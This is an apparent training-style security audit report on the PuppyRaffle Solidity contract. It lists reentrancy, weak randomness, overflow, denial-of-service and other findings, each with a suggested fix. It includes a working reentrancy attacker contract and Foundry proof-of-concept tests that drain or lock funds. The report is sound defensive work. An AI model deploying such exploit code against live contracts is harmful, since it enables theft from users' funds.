Protocol Audit Report

Prepared by: Bizarro

Table of Contents

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

Call the enterRaffle function with the following parameters: address[] participants: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends. Duplicate addresses are not allowed Users are allowed to get a refund of their ticket & value if they call the refund function Every X seconds, the raffle will be able to draw a winner and be minted a random puppy The owner of the protocol will set a feeAddress to take a cut of the value, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

Bizarro found as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond the following commit hash:

```
2a47715b30cf11ca82db148704e67652ad679cd8
```

Scope

```
./src/
└── PuppyRaffle.sol
```

Roles

Executive Summary

Issues found

Severity	Number of issues found
High	3
Medium	3
Low	1
Info	4
Gas	2
Total	13

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain contract balance

Description: The `PuppyRaffle::refund` function does not follow CEI/FREI-PI and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the msg.sender adddress, and only after making that external call, we update the `players` array.

```
function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    require(playerAddress == msg.sender, "PuppyRaffle: Only the player can
refund");
    require(playerAddress != address(0), "PuppyRaffle: Player already
refunded, or is not active");

@>  payable(msg.sender).sendValue(entranceFee);

@>  players[playerIndex] = address(0);
    emit RaffleRefunded(playerAddress);
}
```

A player who has entered the raffle could have a fallback/receive function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue to cycle this until the contract balance is drained.

Impact: All fees paid by raffle entrants could be stolen by the malicious participant.

Proof of Concept:

1. Users enters the raffle

2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`.
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their contract, draining the contract balance.

▶ PoC

```
    contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);

        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(attackerIndex);

    }

    function _stealMoney() internal {
        if(address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }
    fallback() external payable {
        _stealMoney();
    }

    receive() external payable {
        _stealMoney();
    }
}

     function testRefundCallsReentrancy() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);


        ReentrancyAttacker attacker = new ReentrancyAttacker(puppyRaffle);
        address attackUser = makeAddr("attackUser");
        vm.deal(attackUser, 1 ether);
```

```
        uint256 startingAttackContractBalance = address(attacker).balance;
        uint256 startingContractBalance = address(puppyRaffle).balance;

        //attack
        vm.prank(attackUser);
        attacker.attack{value: entranceFee}();

        console.log("Starting attacker contract balance:
",startingAttackContractBalance);
        console.log("Starting contract balance:
",startingContractBalance);

        console.log("Ending attacker contract balance: ",
address(attacker).balance);
        console.log("Ending contract balance:
",address(puppyRaffle).balance);

    }
```

Recommended Mitigation: To fix this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionaly, we should move the event emission up as well.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player
can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already
refunded, or is not active");
+       players[playerIndex] = address(0);
+       emit RaffleRefunded(playerAddress);
        (bool success,) = msg.sender.call{value: entranceFee}("");
        require(success, "PuppyRaffle: Failed to refund player");
-        players[playerIndex] = address(0);
-        emit RaffleRefunded(playerAddress);
    }
```

[H-2] Weak Randomness in `PuppyRaffle::selectWinner` allows anyone to choose winner

Description: Hashing `msg.sender`, `block.timestamp` and `block.difficulty` together creates a predictable final number. A predictable number is not good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Impact: Any user can choose the winner of the raffle, winning the money and selecting the "rarest" puppy, essentially making it such that all puppies have the same rarity, since you can choose the puppy.

Proof of Concept:

There are few attack vectors here:

1. validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that knowledge to predict when/how to participate. See the solidity blog on prevrando here. `block.difficulty` was recently replaced with `prevrando`.
2. Users can manipulate the `msg.sender` value to result in their index being the winner.

Using on-chain values as a randomness seed is a well-known attack vector in the blockchain space.

Recommended Mitigation: Consider using an oracle for your randomness like Chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity versions prior to `0.8.0`, integers were subject to integer overflows.

```
uint64 myVar = type(uint64).max;
// myVar will be 18446744073709551615
myVar = myVar + 1;
// myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. We first conclude a raffle of 4 players to collect some fees.
2. We then have 89 additional players enter a new raffle, and we conclude that raffle as well.
3. `totalFees` will be:

```
totalFees = totalFees + uint64(fee);
// substituted
totalFees = 800000000000000000 + 17800000000000000000;
// due to overflow, the following is now the case
totalFees = 153255926290448384;
```

4. You will now not be able to withdraw, due to this line in `PuppyRaffle::withdrawFees`:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle:
There are currently players active!");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not what the protocol is intended to do.

▶ PoC

```
        function testSelectWinnerTotalFeesOverflowsWhenAmountTooBig()
public playersEntered {
         // We finish a raffle of 4 to collect some fees
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        // startingTotalFees = 800000000000000000

        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for(uint256 i=0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
        // We end the raffle
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        // And here is where the issue occurs
        // We will now have fewer fees even though we just finished a
second raffle
        puppyRaffle.selectWinner();
        uint256 endingTotalFees = puppyRaffle.totalFees();
        console.log("ending total fees", endingTotalFees);
        assert(endingTotalFees < startingTotalFees);
           // We are also unable to withdraw any fees because of the
require check
        vm.prank(puppyRaffle.feeAddress());
        vm.expectRevert("PuppyRaffle: There are currently players
active!");
        puppyRaffle.withdrawFees();

    }
```

Recommended Mitigation: There are a few recommended mitigation here.

1. Use a newer version of solidity that does not allow integer overflows by default.

```
- pragma solidity ^0.7.6;
+ pragma solidity ^0.8.18;
```

Alternatively, if you want to use an older version of solidity, you can use a library of OpenZeppelin's `SafeMath` to prevent integer overflows.

2. Use a `uint256` instead of `uint64` for `totalFees`.

```
-     uint64 public totalFees = 0;
+     uint256 public totalFees = 0;
```

3. Remove the balance check in `PuppyRaffle::withdrawFees`

```
- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
```

We additionally want to bring your attention to another attack vector as a result of this line in a future finding.

Medium

[M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is potential denial of service (DoS) attack, incrementing gas costs for future entrants.

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates, However, the longer the `PuppyRaffle::players` array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle stats will be dramatically lower than who enter latere. Every additional address in the `players` array, is an additional check the loop will have to make.

```
        for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle: Duplicate player");
            }
        }
```

Impact: The gas costs for entering the raffle will increase as more players enter the raffle. Discourraging later users from entering and causing a rust at the start of a raffle to be one of the first entrants in the queue.

An attacker might make the `PuppyRaffle::entrants` array so big, that no one else enters the array, guarenteeing themselves the win.

Proof of Concept:

If we have 2 sets of 100 players enter, the gas costs will be as such:

- 1st 100 players: ~6266775 gas
- 2nd 100 players: ~18083170 gas

The 2nd 100 players have to spend 3 times more gas than the 1st 100 players

▶ PoC

```
        function testEnterRaffleGivesDosWhenPlayerArrayIsTooLarge() public
{
        vm.txGasPrice(1);
        uint256 gasStart = gasleft();
        address[] memory players = new address[](100);
        for (uint256 i = 0; i < 100; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * 100}(players);
        uint256 gasEnd = gasleft();

        uint256 gasUsedFirst = (gasStart - gasEnd);
        console.log("gas used by first 100 players: ", gasUsedFirst);

        // gas cost for next 100 players
        uint256 gasSecondStart = gasleft();
        address[] memory newPlayers = new address[](100);
        for (uint256 i = 0; i < 100; i++) {
            newPlayers[i] = address(i + 1000);
        }
        puppyRaffle.enterRaffle{value: entranceFee * 100}(newPlayers);
        uint256 gasSecondEnd = gasleft();

        uint256 gasUsedSecond = (gasSecondStart - gasSecondEnd);
        console.log("gas used by Next 100 players: ", gasUsedSecond);

        assert(gasUsedFirst < gasUsedSecond);
    }
```

Recommended Mitigation: There are a few recommendations.

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
2. Consider using a mapping to check for duplicates. This would allow you to check for duplicates in constant time, rather than linear time. You could have each raffle have a `uint256` id, and mapping would be player address mapped to the raffle Id.

```
+    mapping(address => uint256) public addressToRaffleId;
+    uint256 public raffleId = 0;
    .
    .
    .
    function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length,
"PuppyRaffle: Must send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
+            addressToRaffleId[newPlayers[i]] = raffleId;
        }
```

```
-         // Check for duplicates
+        // Check for duplicates only from the new players
+        for (uint256 i = 0; i < newPlayers.length; i++) {
+            require(addressToRaffleId[newPlayers[i]] != raffleId,
"PuppyRaffle: Duplicate player");
+        }
-         for (uint256 i = 0; i < players.length; i++) {
-             for (uint256 j = i + 1; j < players.length; j++) {
-                 require(players[i] != players[j], "PuppyRaffle: Duplicate
player");
-             }
-         }
         emit RaffleEnter(newPlayers);
     }
.
.
.
     function selectWinner() external {
+        raffleId = raffleId + 1;
         require(block.timestamp >= raffleStartTime + raffleDuration,
"PuppyRaffle: Raffle not over");
```

Alternatively, you could use OpenZeppelin's `EnumerableSet` library.

[M-2] Usafe cast of `PuppyRaffle::fee` looses fees

Description: In `PuppyRaffle::selectWinner` their is a type cast of `uint256` to `uint64`. This is an unsafe cast, and if `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration,
"PuppyRaffle: Raffle not over");
        require(players.length > 0, "PuppyRaffle: No players in raffle");

        uint256 winnerIndex =
uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp,
block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 fee = totalFees / 10;
        uint256 winnings = address(this).balance - fee;
@>      totalFees = totalFees + uint64(fee);
        players = new address[](0);
        emit RaffleWinner(winner, winnings);
    }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~`18` ETH. Meaning, if more than 18ETH of fees are collected, the fee casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the fee as a uint64 hits
3. `totalFees` is incorrectly updated with a lower amount
4.

You can replicate this in foundry's chisel by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. Their is a comment which says:

```
// We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
.
.
.
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration,
"PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4
players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender,
block.timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
-       totalFees = totalFees + uint64(fee);
+       totalFees = totalFees + fee;
    }
```

[M-3] Smart contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contract.

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends
3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate the issue

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mappping of addresses -> payout so winners can pull their funds out themselves, putting the owness on the winner to claim their prize. (Recommended)

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existing players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle.

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array.

```
        // @return the index of the player in the array, if they are not
active, it returns 0
        function getActivePlayerIndex(address player) external view
returns (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

Recommended Mitigation: Return 2**256-1 (or any other sufficiently high number) to signal that the given player is inactive, so as to avoid collision with indices of active players.

Informational

[I-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version, For example, instead of `pragma solidity ^0.8.0`, use `paragma solidity 0.8.0`

- Found in src/PuppyRaffle.sol: 32:23:35

[I-2]: Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

▶ 2 Found Instances

- Found in src/PuppyRaffle.sol Line: 68

```
        feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 195

```
        feeAddress = newFeeAddress;
```

[I-3] Magic Numbers

All number literals should be replaced with constants. This makes the code more readdable and easier to maintain. Numbers without context are called "magic numbers".

```
+       uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
+       uint256 public constant FEE_PERCENTAGE = 20;
+       uint256 public constant TOTAL_PERCENTAGE = 100;
.
.
.
-        uint256 prizePool = (totalAmountCollected * 80) / 100;
-        uint256 fee = (totalAmountCollected * 20) / 100;
         uint256 prizePool = (totalAmountCollected *
PRIZE_POOL_PERCENTAGE) / TOTAL_PERCENTAGE;
         uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) /
TOTAL_PERCENTAGE;
```

[I-4] Potentially erroneous acive player index

Description: The `getActivePlayerIndex` function is intended to return zero when the given adress is not active. However, it could also return zero from an active address store in the first slot of the `players` array. This may cause confusions for users querying the function to obtain the index of an active player.

Recommended Mitigation: Return 2**256-1(or any other sufficiently high number) to signal that the given player is inactive, so as to avoid collision with indices of active players.

Gas

[G-1] Unchanged state should be declared constant or immutable.

Reading from storage is much more gas expensive than reading from immutable or constant variables.

Instances:

- `PuppyRaffle::raffleDuration` should be `immutable`
- `PuppyRaffle::commonImageUri` should be `constant`
- `PuppyRaffle::rareImageUri` should be `constant`
- `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2]: Loop condition contains `state_variable.length` that could be cached outside.

Cache the lengths of storage arrays if they are used and not modified in for loops.

▶ 4 Found Instances

- Found in src/PuppyRaffle.sol Line: 97

```
        for (uint256 i = 0; i < players.length - 1; i++) {
```

- Found in src/PuppyRaffle.sol Line: 98

```
            for (uint256 j = i + 1; j < players.length; j++) {
```

- Found in src/PuppyRaffle.sol Line: 124

```
        for (uint256 i = 0; i < players.length; i++) {
```

- Found in src/PuppyRaffle.sol Line: 204

```
        for (uint256 i = 0; i < players.length; i++) {
```